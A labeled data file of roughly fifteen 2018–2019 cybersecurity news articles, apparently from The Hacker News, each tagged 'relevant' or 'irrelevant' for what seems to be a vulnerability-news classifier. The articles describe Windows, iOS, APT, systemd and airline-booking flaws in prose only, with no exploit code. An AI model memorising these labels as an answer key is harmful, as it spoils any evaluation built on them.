"Hacker Discloses New Unpatched Windows Zero-Day Exploit On Twitter A security researcher with Twitter alias SandboxEscaper today released proof-of-concept (PoC) exploit for a new zero-day vulnerability affecting Microsoft's Windows operating system. SandboxEscaper is the same researcher who previously publicly dropped exploits for two Windows zero-day vulnerabilities, leaving all Windows users vulnerable to the hackers until Microsoft patched them. The newly disclosed unpatched Windows zero-day vulnerability is an arbitrary file read issue that could allow a low-privileged user or a malicious program to read the content of any file on a targeted Windows computer that otherwise would only be possible via administrator-level privileges. The zero-day vulnerability resides in ""MsiAdvertiseProduct"" function of Windows that's responsible for generating ""an advertise script or advertises a product to the computer and enables the installer to write to a script the registry and shortcut information used to assign or publish a product."" According to the researcher, due to improper validation, the affected function can be abused to force installer service into making a copy of any file as SYSTEM privileges and read its content, resulting in arbitrary file read vulnerability. ""Even without an enumeration vector, this is still bad news, because a lot of document software, like office, will actually keep files in static locations that contain the full path and file names of recently opened documents..,"" the researcher said. ""Thus by reading files like this, you can get filenames of documents created by other users.. the filesystem is a spiderweb and references to user-created files can be found everywhere.. so not having an enumeration bug is not that big of a deal."" Besides sharing video demonstration of the vulnerability, SandboxEscaper also posted a link to a Github page hosting its proof-of-concept (PoC) exploit for the third Windows zero-day vulnerability, but the researcher's GitHub account has since been taken down. This is the third time in the past few months SandboxEscaper has leaked a Windows zero-day vulnerability. In October, SandboxEscaper released a PoC exploit for a privilege escalation vulnerability in Microsoft Data Sharing that allowed a low privileged user to delete critical system files from a targeted Windows system. In late August, the researcher exposed details and PoC exploit for a local privilege escalation flaw in Microsoft Windows Task Scheduler occurred due to errors in the handling of the Advanced Local Procedure Call (ALPC) service. Shortly after the PoC released, the then-zero-day vulnerability was found actively being exploited in the wild, before Microsoft addressed it in the September 2018 Security Patch Tuesday Updates.",relevant
"Adobe Issues Emergency Patches for Two Critical Flaws in Acrobat and Reader I hope you had biggest, happiest and craziest New Year celebration, but now it's time to come back at work and immediately update your systems to patch new security flaws that could exploit your computer just by opening a PDF file. Adobe has issued an out-of-band security update to patch two critical vulnerabilities in the company's Acrobat and Reader for both the Windows and macOS operating systems. Though the San Jose, California-based software company did not give details about the vulnerabilities, it did classify the security flaws as critical since they allow privilege escalation and arbitrary code execution in the context of the current user. Both the vulnerabilities were reported to Adobe by security researchers--Abdul-Aziz Hariri and Sebastian Apelt—from Trend Micro's Zero Day Initiative (ZDI). Critical Adobe Acrobat and Reader Vulnerabilities The first vulnerability, reported by Apelt and identified as CVE-2018-16011, is a use-after-free bug that can lead to arbitrary code execution. Attackers can exploit the flaw by tricking a user into clicking a specially crafted PDF file, which will eventually execute code of their choice with the privileges of the currently logged-in user, allowing attackers to run any malicious software on the victims' computers without their knowledge. The second vulnerability, discovered by Hariri and identified as CVE-2018-19725, is a security bypass flaw that could result in privilege escalation. Both security vulnerabilities are rated as critical but has been assigned a priority rating of 2, which means that the company found no evidence of any exploitation of these vulnerabilities in the wild. Affected Software Versions and Security Patches Acrobat and Reader DC 2015 version 2015.006.30461 and earlier, 2017 version 2017.011.30110 and earlier, and Continuous version 2019.010.20064 and earlier for the Windows and macOS operating systems are affected by the vulnerabilities. Adobe has addressed the flaws with the release of the latest versions of Acrobat DC 2015 and Acrobat Reader DC 2015 (version 2015.006.30464), Acrobat 2017 and Acrobat Reader DC 2017 (version 2017.011.30113), and Acrobat DC Continuous and Acrobat Reader DC Continuous (version 2019.010.20069) for Windows and macOS. Since the vulnerabilities are now public, threat actors would not leave any opportunity to exploit the issues to target user computers, Mac and Windows computer owners are highly recommended to install patches for the two vulnerabilities as soon as possible. Adobe typically releases security updates for its software on the second Tuesday of the month, just like Microsoft, so you can expect the company to release regular patch updates for the rest of its software in this month's release.",relevant
"Airbus Suffers Data Breach, Some Employees' Data Exposed European airplane maker Airbus admitted yesterday a data breach of its ""Commercial Aircraft business"" information systems that allowed intruders to gain access to some of its employees' personal information. Though the company did not elaborate on the nature of the hack, it claimed that the security breach did not affect its commercial operations. So, there's no impact on aircraft production. Airbus confirmed that the attackers unauthorized accessed some data earlier this month, which the plane manufacturer claimed was ""mostly professional contact and IT identification details of some Airbus employees in Europe."" ""Investigations are ongoing to understand if any specific data was targeted; however we do know some personal data was accessed,"" Airbus said in its press release published on Wednesday. After detecting the security breach, the plan manufacturer started an investigation to determine the origin of the hack and to understand the full scope of the data breach and if any specific data was targeted. The company has begun taking ""immediate and appropriate actions to reinforce existing security measures,"" which were not enough to keep the hackers out of their systems, ""and to mitigate its potential impact"" so that it can prevent similar incidents from happening in the future. The company has also instructed its employees to ""take all necessary precautions going forward,"" to strengthen their security defenses. Airbus also said it was in contact with the relevant regulatory authorities and the data protection authorities pursuant to the European Union's new GDPR (General Data Protection Regulation) rules. Airbus is the world's second-largest manufacturers of commercial airplanes, after Boeing which was also hit by a cyber attack (a variant of the infamous WannaCry ransomware) in March last year that ""affected a small number of systems"" with no impact on production.",irrelevant
"Flight Booking System Flaw Affected Customers of 141 Airlines Worldwide Almost half of the fight travelers around the world were found exposed to a critical security vulnerability discovered in online flight ticket booking system that allowed remote hackers to access and modify their travel details and even claim their frequent flyer miles. Israeli network security researcher Noam Rotem discovered the vulnerability when he booked a flight on the Israeli airline ELAL, successful exploitation of which just required victim's PNR (Passenger Name Record) number. The vulnerability resided in the widely used online flight booking system developed by Amadeus, which is currently being used by nearly 141 international airlines, including United Airlines, Lufthansa and Air Canada. After booking a flight with ELAL, the traveler receives a PNR number and a unique link that allows customers to check their booking status and related information associated with that PNR. Rotem found that merely by changing the value of the ""RULE_SOURCE_1_ID"" parameter on that link to someone else's PNR number would display personal and booking-related information from the account associated with that customer. flight hacking Using disclosed information, i.e. booking ID and last name of the customer, an attacker can simply access the victim's account on ELAL's customer portal and ""make changes, claim frequent flyer miles to a personal account, assign seats and meals, and update the customer's email and phone number, which could then be used to cancel/change flight reservation via customer service."" ""Though the security breach requires knowledge of the PNR code, ELAL sends these codes via unencrypted email, and many people even share them on Facebook or Instagram. But that's just the tip of the iceberg,"" the researcher said in his blog post. Don't have PNR numbers of your victims? Don't worry. Rotem also figured out that the Amadeus portal was not using any brute-force protection that eventually allowed attackers to attempt every alphanumeric uppercase complications using a script, as shown, to find all active PNR numbers of customers of any Amadeus-linked airline website. ""After running a small and non-threatening script to check for any brute-force protections, none of which were found, we were able to find PNRs of random customers, which included all of their personal information,"" Rotem added. You can see the video demonstration provided by the researcher to know how a simple script devised by him guessed the PNR numbers and was able to find active numbers in Amadeus. Since the Amadeus booking system is being used by at least 141 airlines, the vulnerability could have affected hundreds of millions of travelers. After discovering the vulnerability, Rotem immediately contacted ELAL to point out the threat and suggested the airline to introduce captchas, passwords and a bot protection mechanism in order to prevent brute-force attempts. Amadeus has now fixed the issue, and the Rotem's script can no longer identify active PNRs as demonstrated in the above video. Upon contacting Amadeus, the company replied, ""At Amadeus, we give security the highest priority and are constantly monitoring and updating our systems. Our technical teams took immediate action, and we can now confirm that the issue is solved."" Amadeus also added that the company has also added a Recovery PTR to strengthen security further and ""prevent a malicious user from accessing travelers' personal information.""",irrelevant
"How to Secure Your Mid-Size Organization From the Next Cyber Attack If you are responsible for the , you may assume your organization is too small to be targeted. Well, think again. While the major headlines tend to focus on large enterprises getting breached – such as Sony, Equifax, or Target the actual reality is that small and mid-sized companies are experiencing similar threats. According to Verizon's 2018 Data Breach Investigations Report, fifty-eight percent of malware attack victims are SMBs. Added to this is the fact that attack vectors that target small and medium-sized businesses are growing increasingly sophisticated, which makes securing them respectively challenging, and the trend of targeting ransomware campaigns on smaller organizations, as attackers assume smaller outfits are more likely to quickly pay in order to avoid damage to their business and reputation. Cisco's 2018 Security Capabilities Benchmark Study states that 44 percent of cyber attacks cost organizations over $500,000 in financial damages. To put it simply, the cost of being breached is rising. That said, there is a lot you can do to enhance your security posture within your available resources. Ensure that your organization has basic security hygiene processes in place. This includes employee cyber safety training, implementing unique IDs, password management and general cyber education. Set system access limitations for employees and third-party vendors so that people only access the data they actually need. Ensure that your systems and apps across the network, your databases and servers are updated and patched Utilize an updated and robust anti-malware solution, that provides security across your entire environment. Have an incident response plan in place, so that you can quickly respond in the event of a breach. Want to hear first-hand advice from an experienced CISO? on Wednesday, January 30, 2019, at 1:00 PM EST as Wade P. Richmond, founder, and CEO of CISO ToGo, talks about what SMBs can do to protect their network from cyber attacks effectively.",irrelevant
"DDoSing Hospital Networks Landed This Hacktivist in Jail for Over 10 Years A simple DDoS attack could land you in jail for 10 years or even more. A Massachusetts man has been sentenced to over 10 years in prison for launching DDoS attacks against the computer network of two healthcare organizations in 2014 to protest the treatment of a teenager at the centers. Beyond serving 121 months in prison, Martin Gottesfeld, 34, was also ordered by U.S. District Judge Nathaniel Gorton to pay nearly $443,000 in restitution for damages he caused to the targeted facilities. Gottesfeld carried out the DDoS attacks on behalf of the Anonymous hacker collective against Boston Children's Hospital (BCH) and Wayside Youth & Family Support Network—a nonprofit home treatment facility that provides a range of mental health counselings to children, young adults, and families in Massachusetts. In April 2014, the hacker used a botnet of over 40,000 network routers that he infected with customized malicious software to carry out the DDoS attacks that not only knocked BCH off the internet but also knocked down several other hospitals in the Longwood Medical Area. The DDoS attacks crippled Wayside Youth and Family Support Network for more than a week, causing the facility to spend $18,000 on response and mitigation efforts. However, the cyberattacks on BCH was terrible which disrupted the BCH network for at least two weeks, crippling the hospital's day-to-day operations and its research capabilities that eventually costed the facility a total of over $600,000 in damages. Gottesfeld has been in custody since February 2016 when he was arrested in Miami after he and his wife attempted to flee Massachusetts on a small boat, which was then rescued after being disabled off the coast of Cuba by a nearby Disney Cruise Ship. Gottesfeld was convicted in August last year when a federal jury found him guilty of two counts, including conspiracy to intentionally damage protected computers and conspiracy to damage protected computers. Gottesfeld represented himself at the hearing on Thursday at the U.S. District court in Boston and said he planned to appeal but had no regrets, according to Reuters. ""It was your arrogance and misplaced pride that has been on display in this case from the very beginning that led you to believe you know more than the doctors at Boston Children's Hospital,"" Judge Gorton said. Gottesfeld argued that he carried out the attacks to protest the reportedly abusive treatment of teenage patient Justina Pelletier, who was the subject of a high-profile custody battle between her parents and the Commonwealth of Massachusetts. BCH and Pelletier's parents entered a dispute over a diagnosis of their daughter and a judge awarded the teen's custody to the state of Massachusetts. After her diagnosis, Pelletier was later moved to Wayside Youth & Family Support Network and 16 months later, she was released to her parents on the court order. Gottesfeld told Judge Gorton that he made a big difference in Pelletier's life and urged the judge to sentence him to time served, adding that ""My only regret is that I didn't get to Justina sooner. I wish I had done more."" Assistant U.S. Attorney David D'Addio also called Gottesfeld a ""self-aggrandizing menace"" who put children's lives at risk and even believed that he could strike again once released from prison. Gottesfeld's wife has planned to appeal the court hearing.",irrelevant
"Europol Now Going After People Who Bought DDoS-for-Hire Services If you were a buyer of any online DDoS-for-hire service, you might be in trouble. After taking down and arresting the operators of the world's biggest DDoS-for-hire service last year, the authorities are now in hunt for customers who bought the service that helped cyber criminals launch millions of attacks against several banks, government institutions, and gaming industry. Europol has announced that British police are conducting a number of live operations worldwide to track down the users of the infamous Webstresser.org service that the authorities dismantled in April 2018. Launched in 2015, Webstresser let its customers rent the service for about £10 to launch Distributed Denial of Service (DDoS) attacks against their targets with little to no technical knowledge, which resulted in more than 4 million DDoS attacks. According to the Europol announcement published on Monday, the agency gained access to the accounts of over 151,000 registered Webstresser users last year when it shut down the service and have now uncovered a ""trove of information"" against some users that could help the agency track them down. Europol said more than 250 users of Webstresser and other DDoS-for-hire services will soon face potential prosecution for the damage they have caused. ""Size does not matter — all levels of users are under the radar of law enforcement, be it a gamer booting out the competition out of a game, or a high-level hacker carrying out DDoS attacks against commercial targets for financial gain,"" Europol said. In the United Kingdom, several webstresser.org users have recently been visited by the police. In the Netherlands, the police are trying to link user profiles to the identities of Dutch people, while ""a Dutch user of webstresser.org has already received this alternative sanction."" Other countries, including the United States, Belgium, Croatia, France, Germany, Greece, Denmark, Romania, Estonia, Hungary, Ireland, Switzerland, Norway, Lithuania, Portugal, Slovenia, Sweden, Australia, Colombia, Serbia, have also joined the fight against DDoS attacks. While some of these countries are focusing their actions specifically against the Webstresser users, some have intensified their activities against the users of any DDoS booter or stresser service. ""To this effect, the FBI seized last December 15 other DDoS-for-hire websites, including the relatively well known Downthem and Quantum Stresser,"" Europol said. ""Similarly, the Romanian police has taken measures against the administrators of 2 smaller-scale DDoS platforms and has seized digital evidence, including information about the users."" So, users of all DDoS-for-Hire services are in danger of being prosecuted.",irrelevant
"DHS Orders U.S. Federal Agencies to Audit DNS Security for Their Domains The U.S. Department of Homeland Security (DHS) has today issued an ""emergency directive"" to all federal agencies ordering IT staff to audit DNS records for their respective website domains, or other agency-managed domains, within next 10 business days. The emergency security alert came in the wake of a series of recent incidents involving DNS hijacking, which security researchers with ""moderate confidence"" believe originated from Iran. Domain Name System (DNS) is a key function of the Internet that works as an Internet's directory where your device looks up for the server IP addresses after you enter a human-readable web address (e.g., thehackernews.com). What is DNS Hijacking Attack? DNS hijacking involves changing DNS settings of a domain, redirecting victims to an entirely different attacker-controlled server with a fake version of the websites they are trying to visit, often with an objective to steal users' data. ""The attacker alters DNS records, like Address (A), Mail Exchanger (MX), or Name Server (NS) records, replacing the legitimate address of a service with an address the attacker controls,"" the DHS advisory reads. The threat actors have been able to do so by capturing credentials for admin accounts that can make changes to DNS records. Since the attackers obtain valid certificates for the hijacked domain names, having HTTPS enabled will not protect users. ""Because the attacker can set DNS record values, they can also obtain valid encryption certificates for an organization's domain names. This allows the redirected traffic to be decrypted, exposing any user-submitted data,"" the directive reads. Recent DNS Hijacking Attacks Against Government Websites Earlier this month, security researchers from Mandiant FireEye reported a series of DNS hijacking incidents against dozens of domains belonging to the government, internet infrastructure, and telecommunications entities across the Middle East and North Africa, Europe and North America. The DHS advisory also states that the ""CISA is aware of multiple executive branch agency domains that were impacted by the tampering campaign and has notified the agencies that maintain them."" At the end of last year, researchers at Cisco Talos also published a report of a sophisticated malware attack that compromised domain registrar accounts for several Lebanon and the United Arab Emirates (UAE) government and public sector websites. DHS Orders Federal Agencies to Audit DNS Security for Their Domains The DHS orders federal agencies to: audit public DNS records and secondary DNS servers for unauthorized edits, update their passwords for all accounts on systems that can be used to tamper DNS records, enable multi-factor authentication to prevent any unauthorized change to their domains, and monitor certificate transparency logs. For those unaware, Certificate Transparency (CT) is a public service that allows individuals and companies to monitor how many digital certificates have been issued by any certificate authority secretly for their domains. The Cyber Hygiene service of the DHS's Cybersecurity and Infrastructure Security Agency (CISA) will also begin a regular delivery of newly added certificates to CT log for US federal agency domains. Once the CISA starts distributing these logs, government agencies are required to immediately begin monitoring their CT log data for issued certificates that they did not request. If any agency found any unauthorized certificate, it must be reported to the issuing certificate authority and the CISA. Agencies, except the Department of Defense, the Central Intelligence Agency (CIA) and the Office of the Director of National Intelligence, have 10 days to implement the directives.",irrelevant
"Ethereum Classic (ETC) Hit by Double-Spend Attack Worth $1.1 Million Popular cryptocurrency exchange Coinbase has suspended all transactions of Ethereum Classic (ETC)—the original unforked version of the Ethereum network—on their trading platforms, other products and services after detecting a potential attack on the cryptocurrency network that let someone spend the same digital coins twice. Why is this attack concerning? The heist resulted in the loss of $1.1 million worth of the Ethereum Classic digital currency. The digital currency immediately fell in price after the news came out. Coinbase revealed Monday that it identified ""a deep chain reorganization"" of the Ethereum Classic blockchain (or 51 percent attack of the network), which means that someone controlling the majority of miners on the network (over 50%) had modified the transaction history. After reorganizing the Ethereum blockchain, the attackers were able to what's called ""double spend"" about 219,500 ETC by recovering previously spent coins from the rightful recipients and transferring them to new entities chosen by attackers (typically a wallet in their control). ""We observed repeated deep reorganizations of the Ethereum Classic blockchain, most of which contained double spends,"" Coinbase security engineer Mark Nesbitt said in a blog post. ""The total value of the double spends that we have observed thus far is 219,500 ETC (~$1.1M)."" Coinbase identified the deep chain reorganization of the Ethereum Classic blockchain on January 5, at which point the firm halted on-chain ETC payments in order to safeguard its customer funds and the cryptocurrency exchange itself. An update on status.coinbase.com reads: ""Due to unstable network conditions on the Ethereum Classic network, we have temporarily disabled all sends and receives for ETC. Buy and sell is not impacted. All other systems are operating normally."" It's worth noting that this incident was not a one-time event, as the attacks are apparently ongoing. cryptocurrency double spend attack Initially, Coinbase identified nine reorganizations containing double spends, amounted to 88,500 ETC (about $460,000), but the latest update on its blog post suggests that at least 12 additional reorganizations included double spends, totaling 219,500 ETC (nearly $1.1Million). At the time, it is not clear whom the attackers targeted, but Coinbase reassured its customers that the cryptocurrency exchange itself had not been the target of these attacks and that no customer funds were lost. Initially, Ethereum Classic denied the Coinbase claims, saying that the ETC network appeared to be ""operating normally,"" but hours later it confirmed the ""successful 51% attack"" on the Ethereum Classic network with ""multiple"" block reorganizations. However, Ethereum Classic said that Coinbase did not contact ETC personnel regarding the attack and added that the investigation is an ""ongoing process."" Since it is incredibly difficult or perhaps virtually impossible to mount such attacks against heavily-mined cryptocurrency networks like Bitcoin and Ethereum, attackers chose to target small-cap cryptocurrencies like Ethereum Classic, Litecoin Cash, Bitcoin Gold, ZenCash (now Horizen), and Verge. Created in June 2016, Ethereum Classic is the 18th-largest cryptocurrency with a market cap of over half a billion dollars (around $539 million), which makes it an attractive target for attackers.",irrelevant
"Fortnite Flaws Allowed Hackers to Takeover Gamers' Accounts Check Point researchers have discovered multiple security vulnerabilities in Fortnite, a massively popular online battle game, one of which could have allowed remote attackers to completely takeover player accounts just by tricking users into clicking an unsuspectable link. The reported Fortnite flaws include a SQL injection, cross-site scripting (XSS) bug, a web application firewall bypass issue, and most importantly an OAuth account takeover vulnerability. Full account takeover could be a nightmare, especially for players of such a hugely popular online game that has been played by 80 million users worldwide, and when a good Fortnite account has been sold on eBay for over $50,000. The Fortnite game lets its players log in to their accounts using third-party Single Sign-On (SSO) providers, such as Facebook, Google, Xbox, and PlayStation accounts. According to the researchers, the combination of cross-site scripting (XSS) flaw and a malicious redirect issue on the Epic Games' subdomains allowed attackers to steal users' authentication token just by tricking them into clicking a specially crafted web link. Once compromised, an attacker can then access players' personal information, buy in-game virtual currencies, and purchase game equipment that would then be transferred to a separate account controlled by the attacker and resold. fortnite account hacked ""Users could well see huge purchases of in-game currency made on their credit cards with the attacker funneling that virtual currency to be sold for cash in the real world,"" Check Point researchers explain in their blog post published today. ""After all, as mentioned above we have already seen similar scams operating on the back of Fortnite popularity."" The attacker even could have access to all the victim's in-game contacts and conversations held by the player and his friends during the game, which can then be abused to exploit the account owner's privacy. One of the Epic Games' contained a SQL injection vulnerability, which if exploited, could have allowed attackers to identify which version of MySQL database was being used. Besides this, the researchers were also able to bypass the poorly-configured web application firewall system used by the Fortnite infrastructure to successfully execute the cross-site scripting attack against the user login process. Check Point researchers notified Epic Games' developer of the Fortnite vulnerabilities which the company fixed in mid-December. Both Check Point and Epic Games recommend all Fortnite users to remain vigilant while exchanging any information digitally and to question the legitimacy of links to information available on the User Forum and other Fortnite websites. To protect their accounts from being hijacked, players are also advised to enable two-factor authentication (2FA) which prompts users to enter a security code sent to their email upon logging into the Fortnite game.",irrelevant
"Hackers Leak Personal Data from Hundreds of German Politicians On Twitter Germany has been hit with the biggest hack in its history. A group of unknown hackers has leaked highly-sensitive personal data from more than 100 German politicians, including German Chancellor Angela Merkel, Brandenburg's prime minister Dietmar Woidke, along with some German artists, journalists, and YouTube celebrities. The leaked data that was published on a Twitter account (@_0rbit) and dated back to before October 2018 includes phone numbers, email addresses, private chats, bills, credit card information and photos of victims' IDs. Although it is yet unclear who perpetrated this mass hack and how they managed to perform it, the leaked data appears to be collected unauthorizedly by hacking into their smartphones. The hack targeted all of Germany's political parties currently represented in the federal parliament, including the CDU, CSU, SPD, FDP, Left party (Die Linke) and Greens, except for the far-right Alternative for Germany (AfD). While Justice Minister Katarina Barley called this mass hacking as a ""serious attack,"" local media reports that none of the leaked data could be considered politically explosive. Germany's federal office for information security (BSI), who is investigating the attack, said that government networks were not affected by the incident and that the identity of the hackers and their motive were not yet known. ""The BSI is currently intensively examining the case in close cooperation with other federal authorities. The National Cyber ​​Defense Center has taken over the central coordination,"" a BSI spokesperson said on Twitter. ""According to the current state of knowledge there is no concern of the governmental networks. However, we will continue to investigate."" Among the victims include Chancellor Angela Merkel, President Frank-Walter Steinmeier, Foreign Minister Heiko Maas, as well as Robert Habeck, leader of the Green party, who was particularly badly affected by the attack with hackers leaking his digital communications with his family. Besides German politicians, the intrusive hack attacks also affected well-known actor Til Schweiger, two renowned German comedians, Jan Boehmermann and Christian Ehring, as well as dozens of journalists from ZDF and ARD–public-funded German media outlets.",irrelevant
"iCloud Possibly Suffered A Privacy Breach Last Year That Apple Kept a Secret Late last year when an unknown group of hackers stole secret access tokens for millions of Facebook accounts by taking advantage of a flaw in its website, the company disclosed the incident and informed its affected users. Similarly, when Twitter was hit by multiple vulnerabilities (#1, #2, #3) in the last few months, the social media company disclosed those incidents and informed its affected users. And Guess What? Google is going to shut down its social media network Google+ in April this year after admitting two security flaws in its platform that exposed private data of hundreds of thousands of users to third-party developers. It turns out that Apple also possibly suffered a privacy breach late last year due to a bug in its platform that might have exposed some of your iCloud data to other users, but the company chose to keep the incident secret... maybe because it was not worth to disclose, or perhaps much more complicated. Last week, Turkish security researcher Melih Sevim contacted The Hacker News and claimed to have discovered a flaw in Apple services that allowed him to view partial data, especially notes, from random iCloud accounts as well as on targeted iCloud users just by knowing their associated phone numbers. Melih confirmed The Hacker News that he discovered the alleged flaw in October 2018, and then responsibly reported it to the Apple's security team with steps to reproduce the bug and a video demonstration, showing how he was able to read personal iCloud data from other Apple users without their knowledge. ""I discovered that when there is an active data transfer between the user and Apple servers if I open my (attacker's) iCloud account, there is a possibility to view some random data on every refresh due to the bug,"" Melih told The Hacker News. After patching it in November 2018, Apple acknowledged the issue to Melih but responded that the company had already addressed it before receiving details from him. Apple then immediately closed the ticket and buried the lead. A Mysterious iCloud Bug Based upon Melih explanation, the alleged flaw resided in the way Apple ""internally"" linked, either accidentally or intentionally, a phone number saved in the billing information of an Apple ID to the iCloud account on a device using the same phone number. apple iCloud settings According to Melih, after following some specific steps on his iPhone and then saving a new phone number linked to another Apple ID in the billing information related settings on his device, he was able to view partial iCloud data from the account associated with that number. ""Let suppose, if abc@icloud.com's mobile number is 12345 and when I enter 12345 mobile number to my xyz@icloud.com Apple ID account, I could see abc's data on xyz's account,"" Melih told THN. ""During my researcher, I saw many notes from other Apple users who kept their bank account related information and passwords in the iCloud."" Since the flaw was in the section of iCloud settings for iOS devices that load from Apple servers in real-time using the Internet, it was silently patched by Apple team from the background without releasing a new iOS update. If Melih's report is accurate, the next detail makes the issue more serious… Melih also confirmed The Hacker News that the text-box asking users to enter a phone number was not validating the user input, thus allowing an attacker even to save a single digit input. apple icloud leak As shown in the video demonstration shared by Melih with THN, the trick eventually exploited the same flaw into fetching personal data from random iCloud accounts matching the input digit to their associated phone numbers. Apple Acknowledged the Problem, But... To confirm Melih's bug and know the full extent of the incident, we reached out to the Apple security team before publishing this article. In response to The Hacker News email and knowing that we are working on a story, Apple acknowledged the bug report, saying ""the issue was corrected back in November,"" without responding to some other important questions, including for how many weeks the flaw remained open, the estimated number of affected users (if any) and if there is any evidence of malicious exploitation? Well, that was weird, but not new... Just yesterday, Apple temporarily took down its Group FaceTime service after the public disclosure of a bug in its video-calling app that allows FaceTime users to hear or see other users before they even pick up the call. Later it turned out that Apple was apparently notified of the FaceTime eavesdropping bug over a week ago by a 14-year-old boy before it made headlines, but again, the Apple security team failed to communicate promptly, leaving its millions of users unaware of the issue and at risk. If the suspected iCloud leak was minor, then Apple could have confirmed us, but it's silence over the report makes the incident more suspicious.",irrelevant
"Chinese Hacker Publishes PoC for Remote iOS 12 Jailbreak On iPhone X Here we have great news for all iPhone Jailbreak lovers and concerning one for the rest of iPhone users. A Chinese cybersecurity researcher has today revealed technical details of critical vulnerabilities in Apple Safari web browser and iOS that could allow a remote attacker to jailbreak and compromise victims' iPhoneX running iOS 12.1.2 and before versions. To do so, all an attacker needs to do is trick iPhoneX users into opening a specially crafted web page using Safari browser, that's it. However, finding flaws and creating a working exploit to carry out such attacks is not as easy as it may sound for every iOS hacker. Discovered by security researcher Qixun Zhao of Qihoo 360's Vulcan Team, the exploit takes advantage of two security vulnerabilities that were first demonstrated at TianfuCup hacking contest held in November last year and then was later responsibly reported to the Apple security team. Zhao today released some details of and a proof-of-concept video demonstration for his exploit, which he dubbed ""Chaos,"" after Apple just yesterday released iOS version 12.1.3 to patch the issues. According to the researcher, the remote Jailbreak exploit is a combination of two vulnerabilities, i.e., a type confusion memory corruption flaw (CVE-2019-6227) in Apple's Safari WebKit and a use-after-free memory corruption issue (CVE-2019-6225) in iOS Kernel. As shown in the video demonstration of the Chaos iPhone X jailbreak exploit, the Safari flaw allowed maliciously crafted web content to execute arbitrary code on the targeted device, which then used the second bug to elevate privileges and install a malicious application silently. However, the researcher has chosen not to publish the code for iOS jailbreak in an attempt to prevent malicious attacks against Apple users and hopes that the jailbreak community would use this information to soon come up with a suitable jailbreak exploit for users. ""I will not release the exploit code, if you want to jailbreak, you will need to complete the exploit code yourself or wait for the jailbreak community's release. At the same time, I will not mention the exploit details of the post exploit, as this is handled by the jailbreak community,"" Zhao said. At this moment, based upon the remote nature of this attack and wide threat surface, it is highly recommended for iPhone users to install the latest iOS update as soon as possible, rather waiting for a jailbreak.",relevant
"Critical RCE Flaw in Linux APT Allows Remote Attackers to Hack Systems Just in time… Some cybersecurity experts this week arguing over Twitter in favor of not using HTTPS and suggesting software developers to only rely on signature-based package verification, just because APT on Linux also does the same. Ironically, a security researcher just today revealed details of a new critical remote code execution flaw in the apt-get utility that can be exploited by a remote, man-in-the middle attacker to compromise Linux machines. The flaw, apparently, once again demonstrates that if the software download ecosystem uses HTTPS to communicate safely, such attacks can easily be mitigated at the first place. Discovered by Max Justicz, the vulnerability (CVE-2019-3462) resides in the APT package manager, a widely used utility that handles installation, update and removal of software on Debian, Ubuntu, and other Linux distributions. According to a blog post published by Justicz and details shared with The Hacker News, the APT utility doesn't properly sanitize certain parameters during HTTP redirects, allowing man-in-the-middle attackers to inject malicious content and trick the system into installing altered packages. APT HTTP redirects help Linux machines to automatically find suitable mirror server to download software packages when others are unavailable. If the first server somehow fails, it returns a response with the location of next server from where the client should request the package. ""Unfortunately, the HTTP fetcher process URL-decodes the HTTP Location header and blindly appends it to the 103 Redirect response,"" Justicz explains. As shown by the researcher in a video demonstration shared with The Hacker News, an attacker—intercepting HTTP traffic between APT utility and a mirror server, or just a malicious mirror—can inject malicious packages in the network traffic and execute arbitrary code on the targeted system with the highest level of privileges, i.e. root. ""You can completely replace the requested package, as in my proof of concept. You could substitute a modified package as well, if you wanted to,"" Justicz told THN. Though Justicz has not tested, he believes the vulnerability affects all type of package downloads, even if you are installing a package for the very first time or updating an old one. No doubt, to protect the integrity of the software packages, it's important to use signature-based verification, as software developers do not have control over mirror servers, but that doesn't mean one should ignore benefits of using HTTPS protocol over the complexity of infrastructural upgrades in some particular cases. No software, platform or server can claim to be 100% secure, so adopting the idea of defense-in-depth is never a bad idea to consider. It should also be noted that cybersecurity experts do not expect organizations or open-source developers to implement HTTPS overnight, but they should also not even reject the defensive measures completely. ""By default, Debian and Ubuntu both use plain http repositories out of the box (Debian lets you pick what mirror you want during installation, but doesn't actually ship with support for https repositories – you have to install apt-transport-https first),"" the researcher explains. ""Supporting http is fine. I just think it's worth making https repositories the default – the safer default – and allowing users to downgrade their security at a later time if they choose to do so."" The developers of APT software have released updated version 1.4.9 to fix the reported remote code execution vulnerability. Since apt-get is part of many major Linux distributions including Debian and Ubuntu, who have also acknowledged the flaw and released security updates, it is highly recommended for Linux users to update their systems as soon as possible.",relevant
"New Systemd Privilege Escalation Flaws Affect Most Linux Distributions Security researchers have discovered three vulnerabilities in Systemd, a popular init system and service manager for most Linux operating systems, that could allow unprivileged local attackers or malicious programs to gain root access on the targeted systems. The vulnerabilities, assigned as CVE-2018-16864, CVE-2018-16865, and CVE-2018-16866, actually resides in the ""systemd-journald"" service that collects information from different sources and creates event logs by logging information in the journal. The vulnerabilities, which were discovered and reported by security researchers at Qualys, affect all systemd-based Linux distributions, including Redhat and Debian, according to the researchers. However, some Linux distros such as SUSE Linux Enterprise 15, openSUSE Leap 15.0, and Fedora 28 and 29 are not affected, as ""their userspace [code] is compiled with GCC's -fstack-clash-protection."" The first two flaws are memory corruptions issues, while the third one is an out-of-bounds read issue in systemd-journald that can leak sensitive process memory data. Researchers have successfully created proof-of-concept exploits, which they are planning to release in the near future. ""We developed an exploit for CVE-2018-16865 and CVE-2018-16866 that obtains a local root shell in 10 minutes on i386 and 70 minutes on amd64, on average,"" the researchers write in an advisory published Wednesday. CVE-2018-16864 is similar to a Stack Clash vulnerability Qualys researchers discovered in 2017 that can be exploited by malware or low privileged users to escalate their permission to root. According to the researchers, CVE-2018-16864 existed in systemd's codebase since April 2013 (systemd v203) and became exploitable in February 2016 (systemd v230), while CVE-2018-16865 was introduced in December 2011 (systemd v38) and became exploitable in April 2013 (systemd v201), Qualys says. However, the third vulnerability (CVE-2018-16866) was introduced in systemd's codebase in June 2015 (systemd v221), but according to the researchers, it was ""inadvertently fixed in August 2018."" If you are using a vulnerable Linux system, keep tabs on the latest updates by your respective Linux distribution and install the patches as soon as they are released.",relevant
